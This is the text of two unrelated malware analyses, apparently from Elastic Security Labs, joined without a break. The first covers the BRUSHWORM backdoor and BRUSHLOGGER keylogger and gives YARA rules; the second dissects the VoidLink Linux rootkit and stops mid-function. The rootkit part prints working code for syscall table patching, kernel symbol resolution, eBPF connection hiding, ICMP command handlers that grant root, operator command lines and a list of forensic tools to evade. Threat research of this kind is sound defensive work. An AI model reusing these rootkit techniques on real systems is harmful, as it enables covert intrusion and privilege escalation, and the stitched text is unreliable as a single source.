During a recent investigation, Elastic Security Labs identified malware deployed on a South Asian financial institution’s infrastructure. The victim environment had only SIEM-level visibility enabled, which limited post-exploitation telemetry. The intrusion involved two custom binaries: a backdoor named paint.exe and a keylogger masquerading as libcurl.dll.

BRUSHWORM functions as the primary implant, responsible for installation, persistence, command-and-control communication, downloading additional modular payloads, spreading via removable media, and stealing files with targeted extensions. BRUSHLOGGER supplements this by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session.

Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques. The overall quality of the code is low — for example, the backdoor writes its decrypted configuration to disk in cleartext before encrypting and saving a second copy, then deletes the cleartext file. Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output.

Through VirusTotal pivoting, we identified what appear to be earlier development and testing versions of the backdoor uploaded under filenames such as V1.exe, V2.exe, and V4.exe, with varying configurations.

BRUSHWORM code analysis

The backdoor is the primary implant responsible for establishing persistence, communicating with the C2 server, downloading modular payloads, spreading to removable media, and exfiltrating files.

Anti-analysis and sandbox detection

The malware begins execution with a series of environment checks designed to detect analysis environments, though the techniques are straightforward and lack sophistication.

Screen resolution check: If the display resolution is less than 1024×768 pixels, execution terminates immediately. This is a common sandbox detection technique.

Username and computer name check: The malware checks whether the machine's username or the computer name is “sandbox”. If either condition matches, it terminates. These checks target the default name commonly used in analysis sandboxes.

Hypervisor detection: Using the CPUID instruction, the malware queries the hypervisor vendor string and compares it against the following known virtualization platforms:

If a hypervisor is detected, the malware does not terminate — it merely sleeps for one second before continuing execution.

Mouse activity check: After the initial setup, the malware monitors mouse movement for 5 minutes. If the cursor does not move during this period, execution terminates. This acts as an additional sandbox evasion measure.

Installation and directory setup

On first execution, the malware creates multiple hidden directories with hardcoded paths. These directories serve distinct roles throughout the malware's lifecycle:

The misspelling "Photoes" (instead of "Photos") is consistent across both the backdoor and keylogger components and appears to be an authentic mistake by the author to blend with the other user’s media directories.

Configuration decryption

The backdoor's configuration is stored as a JSON structure with field values encrypted using AES-CBC. The AES key is hardcoded in the binary, while the initialization vector (IV) is prepended to each encrypted field's data blob.

The decrypted configuration follows this structure:

{
  "internetCheckDomain": "<...>",
  "downloadDomain": "<...>",
  "retryCount": 0
}

This configuration is not referenced anywhere in the malware's operational logic. The C2 server address that the backdoor actually communicates with is a separate C++ global string variable stored in cleartext(resources.dawnnewsisl[.]com/updtdll), which is passed directly to the function responsible for C2 communication and payload downloads.

The decrypted configuration fields (internetCheckDomain, downloadDomain, retryCount) go entirely unused in this build. This configuration is likely intended for a future version, a separate payload component, or was simply disabled in the deployed build, reinforcing the impression of a codebase under active, disorganized development.

Persistence

The malware establishes persistence by creating a Windows scheduled task named MSGraphics through the COM Task Scheduler interface. The task is configured to execute the malware binary each time a user logs in, ensuring the backdoor survives system reboots.

Payload download and execution

The backdoor uses the WinHTTP library to issue a GET request to the C2 server at the URI /updtdll to download a DLL payload. The downloaded binary is written to C:\Users\Public\Libraries\ as Recorder.dll.

We were unable to recover the downloaded payload during our investigation, but the naming convention and execution method suggest it is a modular plugin — likely providing additional post-exploitation capabilities such as screen recording or data exfiltration.

The downloaded DLL is executed by creating a second scheduled task named MSRecorder that uses rundll32.exe to load and run it. This mirrors the same COM-based scheduled task creation method used for persistence.

The C2 server's SSL certificate is issued by Let's Encrypt.

USB spreading and file theft

Once BRUSHWORM detects that the host is already infected (by checking for the presence of the installation directory), its behavior diverges based on internet connectivity. The malware performs a connectivity check by attempting to reach www.google.com.

Scenario 1 — Internet access available:

The malware spawns two threads targeting external storage devices:

1. Removable drive infection: The backdoor copies itself to any connected removable storage devices using socially-engineered filenames designed to entice victims in a corporate financial environment:
   • Salary Slips.exe
   • Notes.exe
   • Documents.exe
   • Important.exe
   • Dont Delete.exe
   • Presentation.exe
   • Emails.exe
   • Attachments.exe
2. File theft from removable and optical drives: Both threads enumerate files on the connected media and exfiltrate to a folder any file matching a broad set of targeted extensions:

Stolen files are staged in the C:\Users\Public\Systeminfo\ directory. The malware also maintains a tracking file (hashconfig) at C:\Users\Public\AppData\Roaming\NuGet\ that records each exfiltrated file's path alongside its SHA-256 hash, likely to avoid re-exfiltrating the same files on subsequent runs.

Scenario 2 — No internet access:

If the internet connectivity check fails, the malware still infects removable drives with the same lure-named copies. However, in this scenario, it additionally copies stolen files and files from the user's profile directory (matching the same extension list) to the removable drives. This behavior serves as a data exfiltration bridge for environments with restricted or air-gapped network access — using USB drives to physically carry stolen data off the network.

BRUSHLOGGER code analysis

The second component is a 32-bit Windows DLL (4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf) designed for DLL side-loading. It masquerades as libcurl.dll by exporting seven standard curl_easy_* API functions, all of which are empty stubs pointing to a single RET instruction. The malicious functionality executes entirely from the DllMain entry point on DLL_PROCESS_ATTACH.

Initialization

At startup, the keylogger decodes a mutex name from a Base64-encoded string: “Windows-Updates-KB852654856”. The mutex name mimics a Windows Update knowledge base identifier. If CreateMutexA returns ERROR_ALREADY_EXISTS, the process terminates immediately to enforce single-instance execution.

BRUSHLOGGER retrieves the current Windows username via GetUserNameA, computes its MD5 hash using the Windows CryptoAPI, and constructs the final log file path:

C:\programdata\Photoes\<username>_<MD5(username)>.trn

The log file is initially created with CreateFileA using CREATE_NEW, then reopened with FILE_APPEND_DATA access for append-mode writing throughout the session.

Hook installation and message pump

After file setup, the keylogger installs a low-level keyboard hook:

SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_hook_callback, NULL, 0);

The WH_KEYBOARD_LL hook type captures keyboard input system-wide across all threads and processes. The hook procedure runs in the context of the installing thread, requiring a standard Windows message pump (GetMessageA / TranslateMessage / DispatchMessageA) to keep the hook alive.

Keystroke capture logic

The core capture logic resides in the hook callback, which processes every keyboard event in the system.

For each keystroke event, the callback:

1. Retrieves the foreground window handle via GetForegroundWindow
2. Allocates memory via VirtualAlloc for the window title
3. Captures the current timestamp via GetLocalTime, formatted as DD-MM-YYYY HH:MM
4. Retrieves the window title bar text via GetWindowTextA

When the foreground window changes, a context marker is appended to the keystroke buffer:

\n<timestamp> <window title>\n

Keystroke encoding: The callback processes WM_KEYDOWN, WM_SYSKEYDOWN, WM_KEYUP, and WM_SYSKEYUP messages. Each keystroke is logged as a two-digit hexadecimal virtual key.

XOR-encrypted log files

The flush routine copies the keystroke buffer to a local stack buffer, XOR-encrypts each byte with a hardcoded single-byte key 0x43, and writes the result to the log file via WriteFile. After a successful write, the global buffer is cleared.

The XOR key 0x43 is trivially reversible — the encryption serves only as basic obfuscation rather than meaningful cryptographic protection.

Conclusion

Despite their low sophistication and multiple implementation flaws, these two binaries deliver a functional collection platform that combines modular payload loading, USB worm propagation, broad file theft with air-gap bridging, and persistent keystroke capture via DLL side-loading. The iterative testing versions and active C2 infrastructure suggest an actor still refining their toolset. Elastic Security Labs will continue monitoring this activity cluster.

BRUSHLOGGER, BRUSHWORM, and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Defense Evasion
• Credential Access
• Discovery
• Lateral Movement
• Collection
• Exfiltration
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Scheduled Task/Job: Scheduled Task
• Hijack Execution Flow: DLL Side-Loading
• Input Capture: Keylogging
• Obfuscated Files or Information
• Deobfuscate/Decode Files or Information
• Virtualization/Sandbox Evasion: System Checks
• Data Staged: Local Data Staging
• Replication Through Removable Media
• Automated Collection
• Data from Removable Media
• Application Window Discovery
• Ingress Tool Transfer
• Masquerading: Match Legitimate Name or Location

Detecting BRUSHLOGGER and BRUSHWORM

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BRUSHWORM and BRUSHLOGGER:

rule Windows_Trojan_BrushLogger_304ee146 {
    meta:
        author = "Elastic Security"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BrushLogger"
        threat_name = "Windows.Trojan.BrushLogger"
        reference_sample = "4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf"

    strings:
        $a = "%02d-%02d-%d %02d:%02d " fullword
        $b = { 81 ?? ?? A1 00 00 00 74 09 81 ?? ?? A0 00 00 00 75 09 6A 00 6A 10 E8 }
    condition:
        all of them
}

rule Windows_Trojan_BrushWorm_7c2098ef {
    meta:
        author = "Elastic Security"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BrushWorm"
        threat_name = "Windows.Trojan.BrushWorm"
        reference_sample = "89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7"

    strings:
        $a = "internetCheckDomain" wide fullword
        $b = { B8 00 00 00 40 33 C9 0F A2 48 8D ?? ?? ?? 89 07 89 5F 04 89 4F 08 89 57 0C 45 33 C0 }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

During a recent investigation, we came across a data dump containing source code, compiled binaries, and deployment scripts for the kernel rootkit components of VoidLink, a cloud-native Linux malware framework first documented by Check Point Research in January 2026. Check Point's analysis revealed VoidLink to be a sophisticated, modular command-and-control framework written in Zig, featuring cloud-environment detection, a plugin ecosystem of over 30 modules, and multiple rootkit capabilities spanning userland rootkits (LD_PRELOAD), Loadable Kernel Modules (LKMs), and eBPF. In a follow-up publication, Check Point presented compelling evidence that VoidLink was developed almost entirely through AI-assisted workflows using the TRAE integrated development environment (IDE), with a single developer producing the framework, from concept to functional implant, in under a week.

The data dump we obtained, which we attribute to the same Chinese-speaking threat actor, based on matching Simplified Chinese source comments and Alibaba Cloud infrastructure, contained the raw development history of VoidLink's rootkit subsystem. What Check Point described as a deployable stealth module, selected dynamically based on the target kernel version, was laid bare in our data dump as a multigenerational rootkit framework that had been actively developed, tested, and iterated across real targets, spanning CentOS 7 through Ubuntu 22.04.

The rootkit components masquerade under the module name vl_stealth (or, in some variants, amd_mem_encrypt), consistent with the kernel-level concealment capabilities described in Check Point's analysis. Their architecture immediately stood out: Rather than relying on a single technique, the rootkit combines a traditional LKM with eBPF programs in a hybrid design that we’ve rarely encountered in the wild. The LKM handles deep kernel manipulation, syscall hooking via ftrace, and an Internet Control Message Protocol–based (ICMP-based) covert command channel, while a companion eBPF program takes over the delicate task of hiding network connections from the ss utility by manipulating Netlink socket responses in userspace memory.

Across the data, we identified at least four distinct generations of VoidLink, each one refining its hooking strategy, evasion techniques, and operational stability. The earliest variant targeted CentOS 7 with direct syscall table patching. The most recent variant, which the developers dubbed "Ultimate Stealth v5" in their comments, introduces delayed hook installation, anti-debugging timers, process kill protection, and XOR-obfuscated module names.

Check Point's second publication already established that VoidLink was developed through AI-driven workflows. The rootkit source code we analyzed corroborates and extends this finding: The source files are littered with phased refactoring annotations, tutorial-style comments that explain basic kernel concepts, and iterative version numbering patterns that closely mirror multi-turn AI conversations. Where Check Point observed the macro-level development methodology (sprint planning, specification-driven development), our data dump reveals the micro-level reality of how individual rootkit components were iteratively prompted, tested, and refined.

In this research publication, we walk through the rootkit's architecture, trace its evolution across four generations, dissect its most technically interesting features, and provide actionable detection strategies. All Chinese source comments referenced in this analysis have been translated into English.

Discovery and initial triage

At first glance, the sheer volume of files, many with iterative version numbers, like hide_ss_v3.bpf.c through hide_ss_v9.bpf.c, suggested an active development effort rather than a one-off project. The presence of compiled .ko files for specific kernel versions, alongside three separate copies of vmlinux.h BPF Type Format (BTF) headers, confirmed that this code had been built and tested on real systems.

After sorting through the dump, we identified seven logical groupings. Three stand-alone LKM variants in the root directory targeted different kernel generations: stealth_centos7_v2.c (1,148 lines, targeting CentOS 7's kernel 3.10), stealth_kernel5x.c (767 lines, targeting kernel 5.x), and stealth_v5.c (876 lines, the "Ultimate Stealth" variant with delayed initialization). Two production directories, kernel5x_new/ and lkm_5x/, contained polished variants with module parameters, eBPF companions, and versioned ICMP control scripts. An ebpf_test/ directory contained 10 sequential iterations of ss-hiding eBPF programs and six versions of process-hiding programs, each building on the last, providing a clear record of iterative development. Finally, load_lkm.sh provided boot-time persistence with a particularly interesting feature: It scanned /proc/*/exe for processes running from memfd file descriptors, a telltale sign of fileless implants.

Every source file was annotated entirely in Simplified Chinese. The comments ranged from straightforward function descriptions to detailed phase-numbered fix annotations. For example, the CentOS 7 variant's header contained a structured changelog that mapped perfectly to five development phases, translated here:

Phase 1: Security/logic vulnerabilities - bounds checking, UDP ports, memory leaks, byte order
Phase 2: Stealth enhancements - ICMP randomization, /proc/modules, kprobe hiding, log cleanup
Phase 3: Compatibility - dynamic symbol lookup, struct offsets, IPv6, kernel version adaptation
Phase 4: Stability - maxactive, RCU protection, priority, error handling
Phase 5: Defense mechanisms - anti-debugging, self-destruct, dynamic configuration

Individual fixes throughout the code were tagged with identifiers like [1.1], [2.1], [3.3], and [5.2], each corresponding to a specific phase and fix number. We’ll return to the significance of this annotation pattern later, as it provides compelling evidence about the rootkit's development methodology.

The operator scripts revealed real infrastructure. The icmp_ctl.py usage examples referenced two Alibaba Cloud IP addresses, 8.149.128[.]10 and 116.62.172[.]147, indicating that VoidLink was being used operationally against targets accessible from Chinese cloud infrastructure. The load_lkm.sh boot script hard-codes a path to /root/kernel5x_new/vl_stealth.ko and configures port 8080 to be hidden by default, further suggesting active deployment.

Architecture: A hybrid approach

What makes VoidLink architecturally notable is its two-component design. Most Linux rootkits rely on a single mechanism for hiding, whether that’s an LKM hooking syscalls, an eBPF program attached to tracepoints, or a shared object injected via LD_PRELOAD. VoidLink uses both an LKM and an eBPF program, each handling the task for which it is best suited. This hybrid approach is rarely seen in the wild and reflects a deliberate engineering decision.

The LKM component, which masquerades under the module name vl_stealth (or, in some variants, amd_mem_encrypt), is the backbone of the rootkit. It handles tasks that require deep kernel access: process hiding via getdents64 syscall hooking, file and module trace removal via vfs_read filtering, network connection hiding via seq_show kretprobes, and the ICMP-based command-and-control channel via Netfilter hooks. These operations require manipulating kernel-internal data structures and intercepting kernel functions at a level that only a loaded kernel module can achieve.

The eBPF component handles a single but critical task: hiding network connections from the ss utility. The ss command doesn’t read from /proc/net/tcp as netstat does. Instead, it uses Netlink sockets with the SOCK_DIAG_BY_FAMILY protocol to query the kernel's socket diagnostic interface directly. This means that the kretprobe technique used to hide connections from netstat, which works by rolling back the seq_file output counter, has no effect on ss.

The developers initially attempted to hide connections from ss using a kretprobe on inet_sk_diag_fill, returning -EAGAIN to suppress individual entries. A comment in the source code, translated from Chinese, explains why they abandoned this approach: "ss command hiding implemented by eBPF module (more stable)". The kretprobe method caused kernel instability, likely because inet_sk_diag_fill is called deep within the Netlink socket processing path, and returning an error code there could corrupt the response chain.

The eBPF solution is elegant. It hooks __sys_recvmsg using a kprobe at the entry point and a kretprobe at the return point. On entry, it captures the userspace receive buffer address from the msghdr structure. On return, it walks the chain of nlmsghdr structures in that buffer, checking each SOCK_DIAG_BY_FAMILY message for hidden source or destination ports. When it finds a match, rather than removing the entry (which would corrupt the Netlink message chain), it extends the previous message's nlmsg_len field to absorb the hidden entry. The ss parser then treats the hidden entry as padding within the previous message and silently skips it. This "swallowing" technique, implemented through bpf_probe_write_user, is a creative abuse of a BPF helper originally intended for debugging.

Version evolution

VoidLink evolved through at least four generations, each one adapting to newer kernel defenses while expanding the rootkit's capabilities. Tracing this evolution reveals not only the technical challenges the developers faced but also the iterative problem-solving approach, likely aided by a large language model (LLM) that defines this rootkit's development history.

Generation 1: The CentOS 7 foundation

The earliest variant, stealth_centos7_v2.c, targets CentOS 7 and its venerable 3.10 kernel. At 1,148 lines, it’s the longest file and contains the most extensive comments. This variant uses the oldest and most straightforward hooking technique available to LKM rootkits: direct modification of the syscall table.

On kernel 3.10, kallsyms_lookup_name() is still exported as a public kernel symbol, so locating the sys_call_table is trivial. The rootkit calls it directly to resolve function addresses. However, the kernel marks the syscall table as read-only, so modifying it requires temporarily disabling the processor's write protection bit in the CR0 control register:

write_cr0(read_cr0() & ~X86_CR0_WP);  // Disable write protection
sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
sys_call_table[__NR_getdents] = (unsigned long)hooked_getdents;
write_cr0(read_cr0() | X86_CR0_WP);   // Re-enable write protection

This is a well-known technique with a long history in Linux rootkit development. More interestingly, how does the CentOS 7 variant handle GCC's interprocedural optimizations? When GCC inlines or clones functions, it renames them with suffixes like .isra.0, .constprop.5, or .part.3. This means a symbol like tcp4_seq_show might actually exist in the kernel as tcp4_seq_show.isra.2. VoidLink's find_symbol_flexible() function handles this by brute-forcing up to 20 variants of each suffix:

static unsigned long find_symbol_flexible(const char *base_name)
{
    unsigned long addr;
    char buf[128];
    int i;

    addr = kallsyms_lookup_name(base_name);
    if (addr) return addr;

    for (i = 0; i <= 20; i++) {
        snprintf(buf, sizeof(buf), "%s.isra.%d", base_name, i);
        addr = kallsyms_lookup_name(buf);
        if (addr) return addr;
    }

    for (i = 0; i <= 20; i++) {
        snprintf(buf, sizeof(buf), "%s.constprop.%d", base_name, i);
        addr = kallsyms_lookup_name(buf);
        if (addr) return addr;
    }

    return 0;
}

Anyone who has developed kernel modules for CentOS 7 will recognize the frustration of symbols being renamed by compiler optimizations. The fact that VoidLink handles this systematically, across .isra, .constprop, and .part suffixes, suggests the developers encountered this problem during real-world deployment.

The CentOS 7 variant hooks both getdents and getdents64 syscalls, because CentOS 7 userspace tools use both 32-bit and 64-bit directory entry formats. The /proc/modules file is handled separately by replacing the seq_operations.show function pointer after opening the file through filp_open(). This generation also introduces the anti-debugging timer and the self-destruct command, features that persist through all subsequent generations. One notable detail: The variant suppresses all kernel log output by redefining pr_info, pr_err, and pr_warn as no-ops, a simple but effective anti-forensics measure.

Generation 2: Adapting to kernel 5.x

The jump from CentOS 7's kernel 3.10 to kernel 5.x required fundamental changes to VoidLink's hooking strategy. Two kernel developments forced the developers' hand: kallsyms_lookup_name() was unexported starting in kernel 5.7, and the syscall table gained stronger write protections through CONFIG_STRICT_KERNEL_RWX.

The second generation, found in stealth_kernel5x.c and lkm_test/main.c, addresses the first problem with a technique known in rootkit development circles as the kprobe trick. Instead of calling kallsyms_lookup_name() directly, the rootkit registers a kprobe on it. The kernel's kprobe subsystem resolves the symbol address internally during registration and stores it in the kp.addr field. The rootkit reads this address and then immediately unregisters the kprobe:

static int init_symbols(void)
{
    struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
    if (register_kprobe(&kp) < 0)
        return -EFAULT;
    kln_func = (kln_t)kp.addr;
    unregister_kprobe(&kp);
    return kln_func ? 0 : -EFAULT;
}

This trick was first popularized by modern rootkits, like Diamorphine, and has become the de facto method for symbol resolution on post–5.7 kernels. Once kallsyms_lookup_name is available, the rootkit can resolve any other kernel symbol it needs.

For syscall hooking, Generation 2 abandons direct modification of the syscall table in favor of ftrace. The Linux kernel's function tracing framework was designed for performance analysis and debugging, but it provides a convenient API for attaching callbacks to arbitrary kernel functions. VoidLink registers ftrace hooks on __x64_sys_getdents64 and vfs_read, using FTRACE_OPS_FL_SAVE_REGS and FTRACE_OPS_FL_IPMODIFY flags to gain full control over the hooked function's execution. The ftrace callback modifies the instruction pointer in the saved register state, redirecting execution to the rootkit's handler before the original function runs.

This generation also introduces vfs_read hooking to filter sensitive pseudo-files. When a process reads /proc/kallsyms, /proc/modules, or /sys/kernel/debug/kprobes/list, the rootkit intercepts the output buffer and removes any lines containing the module name or kretprobe registrations. This is a significant improvement over the CentOS 7 variant's approach of hooking seq_operations.show for a single file; the vfs_read hook provides a centralized filtering mechanism for all sensitive files.

Generation 3: Production readiness

The third generation, found in kernel5x_new/ and lkm_5x/, represents the production-ready form of VoidLink. The most visible change is the addition of module parameters that allow the operator to configure the rootkit at load time without needing the ICMP channel:

insmod vl_stealth.ko init_pids=1234 init_ports=8080 stealth=1

The init_pids parameter specifies process IDs to hide immediately after loading. The init_ports parameter lists ports to hide from netstat and ss. The stealth flag controls whether the module removes itself from the kernel's module list upon initialization. These parameters eliminate the need for a separate ICMP command to configure the rootkit after it loads, thereby reducing the window of vulnerability between module insertion and activation.

This generation also doubles the number of ICMP hook registrations by attaching to both the NF_INET_PRE_ROUTING and NF_INET_LOCAL_IN Netfilter chains. The dual registration ensures reliable command reception, regardless of the host's network configuration and iptables rules. Most rootkits register on only one Netfilter chain; VoidLink's dual approach demonstrates an awareness of operational failures that could occur in diverse network environments.

The most important change in Generation 3 is the delegation of ss hiding to the eBPF companion, which we will examine in detail shortly.

The eBPF innovation: Hiding from ss

One of the most technically interesting aspects of VoidLink is how it hides network connections from the ss utility. This problem has historically been a challenge for Linux rootkits because ss and netstat query the kernel through entirely different interfaces, meaning a rootkit that defeats one often fails against the other.

The netstat utility reads from /proc/net/tcp, /proc/net/tcp6, /proc/net/udp, and similar pseudo-files. The kernel generates these files via seq_file operations, calling functions such as tcp4_seq_show() for each socket entry. Hiding a connection from netstat is straightforward: Install a kretprobe on the relevant seq_show function and, when it returns, check whether the source or destination port matches a hidden port. If it does, roll back the seq_file->count counter to its pre-call value, effectively erasing the line from the output. VoidLink's LKM component uses exactly this approach for netstat hiding, and it works reliably.

The ss utility, however, uses the SOCK_DIAG_BY_FAMILY Netlink interface to query socket information directly from the kernel. The response arrives as a chain of Netlink messages (nlmsghdr structures), each containing an inet_diag_msg with socket details. This is a completely different data path from /proc/net/tcp, and the seq_show kretprobes don’t affect it.

The ebpf_test/ directory tells the story of VoidLink's developers struggling to solve this problem. We found 10 sequential versions of hide_ss.bpf.c (v1 through v9, plus a "final" and "full" variant), each one attempting a different approach. The early versions tried to modify Netlink messages in kernel space, which proved unreliable. The later versions converged on the "swallowing" strategy used by the production variant.

The production eBPF program is located in lkm_5x/ebpf/hide_ss.bpf.c and hooks __sys_recvmsg at both entry and return. On entry, it captures the userspace buffer address from the msghdr->msg_iov chain:

SEC("kprobe/__sys_recvmsg")
int kprobe_recvmsg(struct pt_regs *regs)
{
    __u32 k = 0;
    __u8 *e = bpf_map_lookup_elem(&enabled, &k);
    if (!e || !*e)
        return 0;

    void *msg = (void *)regs->si;
    if (!msg)
        return 0;

    void *msg_iov;
    struct iovec iov;
    if (bpf_probe_read_user(&msg_iov, 8, msg + 16) < 0 || !msg_iov)
        return 0;
    if (bpf_probe_read_user(&iov, sizeof(iov), msg_iov) < 0 || !iov.iov_base)
        return 0;

    __u64 id = bpf_get_current_pid_tgid();
    struct rctx_data d = { .buf = iov.iov_base, .len = iov.iov_len };
    bpf_map_update_elem(&recvmsg_ctx, &id, &d, BPF_ANY);
    return 0;
}

The buffer address and length are stored in a per-thread BPF hash map (recvmsg_ctx), keyed by the thread's PID/TID combination. This allows the return hook to retrieve the buffer address, even though it’s no longer available in the register state at function return.

The return hook is where the actual hiding occurs. After verifying that the recvmsg call succeeded, it walks the Netlink message chain in the userspace buffer:

SEC("kretprobe/__sys_recvmsg")
int kretprobe_recvmsg(struct pt_regs *regs)
{
    // ... setup and validation ...

    void *buf = d->buf;
    long offset = 0;
    long prev_offset = -1;
    __u32 prev_len = 0;

    #pragma unroll
    for (int i = 0; i < 32; i++) {
        if (offset >= ret || offset + NLMSG_HDRLEN > ret)
            break;

        __u32 nlmsg_len;
        __u16 nlmsg_type;
        bpf_probe_read_user(&nlmsg_len, 4, buf + offset);
        bpf_probe_read_user(&nlmsg_type, 2, buf + offset + 4);

        int should_hide = 0;
        if (nlmsg_type == SOCK_DIAG_BY_FAMILY) {
            void *payload = buf + offset + NLMSG_HDRLEN;
            __u16 sport, dport;

            if (bpf_probe_read_user(&sport, 2, payload + SPORT_OFF) == 0 &&
                bpf_probe_read_user(&dport, 2, payload + DPORT_OFF) == 0) {

                sport = bpf_ntohs(sport);
                dport = bpf_ntohs(dport);

                if (bpf_map_lookup_elem(&hidden_ports, &sport) != NULL ||
                    bpf_map_lookup_elem(&hidden_ports, &dport) != NULL) {
                    should_hide = 1;
                }
            }
        }

        if (should_hide) {
            if (prev_offset >= 0) {
                __u32 new_len = prev_len + nlmsg_len;
                bpf_probe_write_user(buf + prev_offset, &new_len, 4);
            }
        } else {
            prev_offset = offset;
            prev_len = nlmsg_len;
        }

        offset += NLMSG_ALIGN(nlmsg_len);
    }
    // ...
}

For each Netlink message of type SOCK_DIAG_BY_FAMILY, the program reads the source and destination ports from fixed offsets within the inet_diag_msg payload (offsets 4 and 6, respectively). If either port matches an entry in the hidden_ports BPF map, the message is "swallowed" by extending the previous message's nlmsg_len to include the current message's length. The bpf_probe_write_user() call modifies the four-byte nlmsg_len field directly in the userspace buffer.

This technique works because Netlink parsers, including the one in ss, advance through the message chain using NLMSG_NEXT(), which calculates the next message offset from the current message's nlmsg_len. By inflating the previous message's length, the hidden message falls within the body of the previous message and is never parsed as a separate entry.

The same "swallowing" technique appears in the process-hiding experiments in the ebpf_test/directory. hide_proc_v4.bpf.c applies the identical approach to getdents64, extending the previous directory entry's d_reclen to absorb the hidden entry. This shows the developers recognized the pattern's general applicability and experimented with applying it beyond network hiding. We do note that process hiding via eBPF was ultimately handled by the LKM's ftrace hook in the production variant, likely because the LKM approach was more reliable for the larger and more variable getdents64 buffers.

The ICMP covert channel

Every VoidLink variant includes an ICMP-based command-and-control channel that leaves no listening ports, no filesystem artifacts, and, by design, no ICMP replies. The operator sends specially crafted ICMP Echo Request packets to the target host, and the rootkit's Netfilter hook intercepts them before the kernel's normal ICMP processing can generate a response. Commands are processed silently, and the packet is dropped.

The ICMP command protocol uses a simple but effective structure. The rootkit identifies its own traffic by checking the echo.id field in the ICMP header for a magic value, 0xC0DE, by default. When a matching packet arrives, the rootkit extracts a 64-byte icmp_cmd structure from the payload:

struct icmp_cmd {
    u8 cmd;           // Command byte
    u8 len;           // Length of data
    u8 data[62];      // XOR-encrypted payload
} __attribute__((packed));

The data field is XOR-encrypted with a single-byte key, 0x42 by default. While XOR with a known key is trivially reversible, it serves its purpose: preventing casual network monitoring tools from reading commands in cleartext without requiring the overhead of proper cryptography.

The command set evolved across generations. The production variant (v5) supports 10 distinct commands, ranging from hiding processes and ports to privilege escalation and self-destruction. The GIVE_ROOT command (0x11) is noteworthy: It takes a target PID as an argument and uses prepare_creds()/commit_creds() to set all UID and GID fields to zero for that process, effectively granting it root privileges without any authentication mechanism:

case ICMP_CMD_GIVE_ROOT:
    if (cmd->len >= 4) {
        u32 target_pid;
        memcpy(&target_pid, cmd->data, 4);
        give_root_to_pid(target_pid);
    }
    break;

The operator interacts with the rootkit through a Python script, icmp_ctl.py, which constructs and sends the ICMP packets using raw sockets. The v5 version of this script provides a clean command line interface (CLI):

./icmp_ctl.py 192.168.1.100 hide_pid 1234
./icmp_ctl.py 192.168.1.100 hide_port 8080
./icmp_ctl.py 192.168.1.100 hide_ip 10.0.0.50
./icmp_ctl.py 192.168.1.100 root 5678
./icmp_ctl.py 192.168.1.100 destruct

One aspect that distinguishes VoidLink's C2 from simpler rootkit implementations is runtime key rotation. The SET_KEY command (0x20) allows the operator to change both the ICMP magic identifier and the XOR key at runtime:

case ICMP_CMD_SET_KEY:
    if (cmd->len >= 3) {
        u16 new_magic;
        u8 new_key;
        memcpy(&new_magic, cmd->data, 2);
        new_key = cmd->data[2];
        g_config.icmp_magic = new_magic;
        g_config.icmp_key = new_key;
    }
    break;

After rotation, all subsequent commands must use the new magic and key values. This means that even if a defender discovers the initial 0xC0DE signature through network monitoring, the operator can switch to a new value and continue operating. The v2 version of icmp_ctl.py even includes a probe mode that iterates through a list of common magic values (0xC0DE, 0xDEAD, 0xBEEF, 0xCAFE, 0xFACE), sending a SHOW_MOD command with each one to rediscover a rootkit whose credentials were rotated by a previous operator.

The CentOS 7 variant additionally supports compile-time magic randomization through a CONFIG_RANDOM_MAGIC flag, which generates unique magic and key values at build time using the kernel's random number generator. This would give each deployed instance a unique C2 signature, further complicating network-based detection.

From a detection perspective, the ICMP channel has one significant weakness: all command packets are silently dropped (NF_DROP), meaning that legitimate ICMP Echo Requests to the host will receive replies, while rootkit commands will not. A network monitoring system that correlates ICMP Echo Requests with their corresponding Echo Replies would notice the anomaly of unanswered pings.

Advanced evasion techniques

Beyond its core hiding capabilities, VoidLink employs several advanced evasion techniques that suggest awareness of modern endpoint detection and response (EDR) behavior and forensic investigation methods. These features are concentrated in the latest "Ultimate Stealth v5" variant (stealth_v5.c), but some appear across all generations.

Delayed initialization

Most rootkits install their hooks immediately during module_init(). This means that any security tool monitoring module that loads, whether it checks for new kprobes, ftrace hooks, or syscall table modifications, can detect the rootkit at the time of insertion. VoidLink's v5 variant counters this by deferring all hook installation by three seconds:

static int __init mod_init(void)
{
    if (init_symbols() != 0)
        return -EFAULT;
    schedule_delayed_work(&init_work, msecs_to_jiffies(3000));
    return 0;
}

The mod_init() function resolves a single symbol (kallsyms_lookup_name via the kprobe trick) and then returns success. The module appears loaded and benign, with no hooks, no Netfilter registrations, and no kretprobes. Three seconds later, delayed_init() fires, installing all nine ftrace hooks, registering the Netfilter ICMP handler, starting the anti-debugging timer, and removing the module from the kernel's module list.

This technique evades security tools that scan for suspicious module behavior in response to module-loading events. By the time the hooks are active, the initial security scan has already completed and may have marked the module as clean. The three-second delay is short enough to be operationally invisible but long enough to outlast any reasonable synchronous security check.

Anti-debugging and anti-forensics

VoidLink implements an active anti-forensics capability that is uncommon among Linux rootkits. While Windows malware frequently checks for debugging tools, Linux rootkits rarely implement runtime detection of forensic utilities. VoidLink's approach uses a kernel timer that fires every five seconds and iterates over the entire process list:

static const char *debug_tools[] = {
    "strace", "ltrace", "gdb", "perf", "bpftool",
    "bpftrace", "systemtap", "crash", "kdb", "trace-cmd",
    "ftrace", "sysdig", "dtrace", NULL
};

static void anti_debug_scan(struct timer_list *t)
{
